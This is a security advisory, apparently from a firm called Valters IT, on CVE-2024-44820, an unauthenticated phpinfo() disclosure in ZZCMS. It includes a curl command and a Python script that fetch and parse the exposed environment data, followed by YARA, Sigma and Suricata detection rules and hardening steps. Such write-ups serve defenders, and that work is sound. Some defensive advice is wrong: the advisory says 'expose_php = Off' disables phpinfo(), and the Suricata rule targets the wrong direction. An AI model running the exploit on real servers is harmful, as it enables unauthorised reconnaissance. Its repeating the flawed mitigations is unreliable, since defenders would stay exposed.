CVE-2024-44820

Executive Summary

CVE-2024-44820 is a sensitive information disclosure vulnerability in ZZCMS versions 2023 and earlier. The flaw resides in the /3/E_bak5.1/upload/eginfo.php file. By appending the query parameter phome=ShowPHPInfo, an unauthenticated attacker can trigger the execution of phpinfo(), which outputs a comprehensive dump of the PHP environment. This includes server configuration details, loaded modules, environment variables, and potentially sensitive paths or credentials. The vulnerability is trivial to exploit and requires no authentication, making it a high-priority target for reconnaissance in the wild. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the ZZCMS PHP application source code.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The high confidentiality impact is justified because phpinfo() can reveal database credentials, API keys, internal IP addresses, and file paths that can be used for further exploitation.

Deep Dive & Mechanics

The vulnerability is a classic case of an unprotected diagnostic endpoint. The file eginfo.php is part of the ZZCMS backup/restore utility located in the /3/E_bak5.1/upload/ directory. This directory is intended for administrative database operations but is accessible without authentication.

The code logic in eginfo.php likely contains a conditional block similar to:

if ($_GET['phome'] == 'ShowPHPInfo') {
    phpinfo();
}

The phpinfo() function outputs a pre-formatted HTML page containing:

• PHP version and build date
• Server API (e.g., Apache 2.0 Handler, CGI/FastCGI)
• Loaded PHP extensions (e.g., mysqli, curl, openssl)
• Environment variables ($_ENV, $_SERVER)
• Configuration directives (php.ini values)
• HTTP headers
• System paths (e.g., DOCUMENT_ROOT, SCRIPT_FILENAME)

An attacker can use this information to fingerprint the server, identify vulnerable PHP modules, and locate sensitive files or credentials.

Vulnerable vs. Patched Code

Vulnerable Code (ZZCMS <= 2023):

// /3/E_bak5.1/upload/eginfo.php
<?php
if (isset($_GET['phome']) && $_GET['phome'] == 'ShowPHPInfo') {
    phpinfo();
}
?>

Patched Code (Hypothetical):

// /3/E_bak5.1/upload/eginfo.php
<?php
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
    header('HTTP/1.0 403 Forbidden');
    exit('Access denied.');
}
if (isset($_GET['phome']) && $_GET['phome'] == 'ShowPHPInfo') {
    phpinfo();
}
?>

The patched version adds an authentication check to ensure only logged-in administrators can access the diagnostic function. Since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running ZZCMS v2023 or earlier
• Network access to the /3/E_bak5.1/upload/eginfo.php endpoint

Exploit Steps:

1. Send a GET request to the vulnerable endpoint with the phome parameter:

   curl "http://target.com/3/E_bak5.1/upload/eginfo.php?phome=ShowPHPInfo"
   

2. The server will return the full phpinfo() output as HTML.
3. Parse the output for sensitive data:
   • $_SERVER['DOCUMENT_ROOT'] – reveals web root path
   • mysqli.default_host, mysqli.default_user – potential database credentials
   • HTTP_COOKIE – session cookies
   • SERVER_ADDR – internal IP address

Automated Script (Python):

import requests
import re

target = "http://target.com/3/E_bak5.1/upload/eginfo.php"
params = {'phome': 'ShowPHPInfo'}
response = requests.get(target, params=params)

if response.status_code == 200 and 'phpinfo' in response.text.lower():
    # Extract environment variables
    env_vars = re.findall(r'<tr><td class="e">(.*?)</td><td class="v">(.*?)</td>', response.text)
    for var, val in env_vars:
        print(f"{var}: {val}")
else:
    print("Target not vulnerable or endpoint not found.")

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests to /3/E_bak5.1/upload/eginfo.php with phome=ShowPHPInfo.
• Alert on any access to the /3/E_bak5.1/ directory from non-admin IPs.

Hardening:

1. Remove or rename the E_bak5.1 directory if not needed.
2. Add authentication to eginfo.php as shown in the patched code.
3. Restrict access via .htaccess:

   <Directory "/path/to/3/E_bak5.1/upload/">
       Require ip 127.0.0.1
   </Directory>
   

4. Disable phpinfo() in production by setting expose_php = Off in php.ini.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /3/E_bak5.1/upload/eginfo.php?phome=ShowPHPInfo
• User-Agent strings from reconnaissance tools (e.g., curl, python-requests, Go-http-client)

File IOCs:

• Presence of the file /3/E_bak5.1/upload/eginfo.php on the server
• Log entries containing phpinfo in the response body

Behavioral IOCs:

• Unusual spikes in requests to the /3/E_bak5.1/ path
• Access from IP addresses not in the admin whitelist

Detection Engineering

YARA Rule

rule CVE_2024_44820_phpinfo_exposure {
    meta:
        description = "Detects requests to ZZCMS phpinfo endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44820"
    strings:
        $s1 = "eginfo.php" ascii wide nocase
        $s2 = "phome=ShowPHPInfo" ascii wide nocase
        $s3 = "phpinfo()" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: ZZCMS phpinfo Exposure via CVE-2024-44820
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to the ZZCMS phpinfo endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "phome=ShowPHPInfo"
        cs-uri-stem|endswith: "/eginfo.php"
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2024-44820 - ZZCMS phpinfo Exposure Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/eginfo.php"; http_uri;
    content:"phome=ShowPHPInfo"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Remove or restrict access to the /3/E_bak5.1/ directory.
2. Apply the hypothetical patch by adding authentication checks to eginfo.php.
3. Set expose_php = Off in php.ini to prevent PHP version disclosure.

Long-Term Fix:

• Upgrade to a patched version of ZZCMS if/when the vendor releases one.
• Conduct a full security audit of the application to identify similar unprotected endpoints.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) rule to block requests containing phome=ShowPHPInfo.
• Implement network segmentation to limit access to the web server.

Valters IT
Securing Digital Frontiers